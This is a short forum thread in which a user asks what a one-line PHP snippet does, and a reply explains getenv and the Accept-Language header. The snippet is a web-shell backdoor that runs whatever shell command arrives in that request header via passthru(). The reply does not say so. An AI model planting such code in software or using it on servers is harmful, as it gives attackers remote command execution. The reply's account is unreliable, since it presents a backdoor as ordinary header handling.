PHP question

[MelnAdam]

Here's one for you, what do this do?

$cmd = getenv('HTTP_ACCEPT_LANGUAGE'); if(!empty($cmd)){@passthru($cmd);};doc

any ideas?

[blunt]

getenv = Gets the value of an environment variable.

</php.net>

HTTP_ACCEPT_LANGUAGE :-

The user is sending information from their browser, and could mean any of the following things:

* language/locale to use for formatting/collation preferences
* language/locale to use for the UI
* language/locale about which to provide content
* location for which to provide information
